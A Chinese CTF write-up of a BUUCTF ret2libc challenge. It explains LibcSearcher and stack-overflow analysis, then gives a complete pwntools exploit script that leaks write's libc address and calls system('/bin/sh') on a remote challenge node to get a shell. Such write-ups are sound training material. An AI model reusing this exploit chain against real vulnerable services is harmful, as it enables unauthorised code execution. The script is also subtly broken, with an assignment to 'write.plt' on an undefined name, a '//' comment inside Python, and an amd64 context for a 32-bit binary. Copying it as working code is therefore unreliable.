铁人三项(第五赛区)_2018_rop来自BUUCTF
这道题是最基本的ret2libc类型的题目:
说到ret2libc这类型的题目我们要用到LibcSearcher这个模块。这个模块呢需要自己去网上搜索一下安装教学。我是在Ubuntu中配置了。我先简单说一下它的常见用法:
在一些ret2libc的题目中,没有给出一个libc文件,但是此时我们需要libc库来完成题目。我们就需要通过各种方法来获得 libc 的版本,libc 的基址等。这时候我们首先想到的就是泄露一个函数的真实地址。这时候,我们就可以来查找我们需要的 libc 版本以及偏移。在以前,获取一个函数地址之后我们就可以在 libc.database 网站上直接查找 libc 版本等信息,但现在这个网站好像不行了,所以我们现在只能通过 LibcSearcher 库或者 pwntools 的 DynELF 来做题。这时我们就需要一个LibcSearcher库这个工具来方便我们完成题目。
LibcSearcher 库的使用方法是非常简单的,只需要我们泄露出一个函数的真实地址之后,就可以利用这个库自带的工具来得出 offset
了。具体代码大体如下:
libc = LibcSearcher('puts',putsaddr)
libc_base = putsaddr - libc.dump('puts') #算出libc基地址
system = libc_base+libc.dump('system') #算出各函数的真实地址
bins = libc_base+libc.dump('str_bin_sh')
下面来看一下这个题目:
首先checksec 检查保护机制: 只开了堆栈不可执行 NX enable 32位小端序

主函数很简单,我们看到了vulnerable——function这个函数点进去看看怎么回事

这不很明显嘛栈溢出嘛。但是呢,在函数栏中没有发现system函数。Shift+F12查看字符串没有找到bin/sh或sh。但是函数栏中有write函数。所以利用write的plt泄漏write函数的真实地址。通过write函数在libc中的相对偏移量计算libc的基地址。
from pwn import*
from LibcSearcher import *
context(arch='amd64',os='linux')
r=remote('node4.buuoj.cn',27547)
elf=ELF('./rop')
main_addr=0x80484c6
write.plt=elf.plt['write']
write.got=elf.got['write']
payload1='a'*(0x88+0x4)+p32(write.plt)+p32(main_addr)+p32(1)+p32(write.got)+p32(4)
//这里解释一下:payload1:垃圾数据填充+write.plt地址(不懂的同学先了解一下plt和got表)+ main函数的地址(发送payload后让程序再次返回主函数)+后面是write函数的参数泄露write函数的地址
r.sendline(payload1)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base+libc.dump('system')
bins = libc_base+libc.dump('str_bin_sh')
payload2='a'*(0x88+0x4)+p32(system)+'aaaa'+p32(bins)
r.sendline(payload2)
r.interactive()

浙公网安备 33010602011771号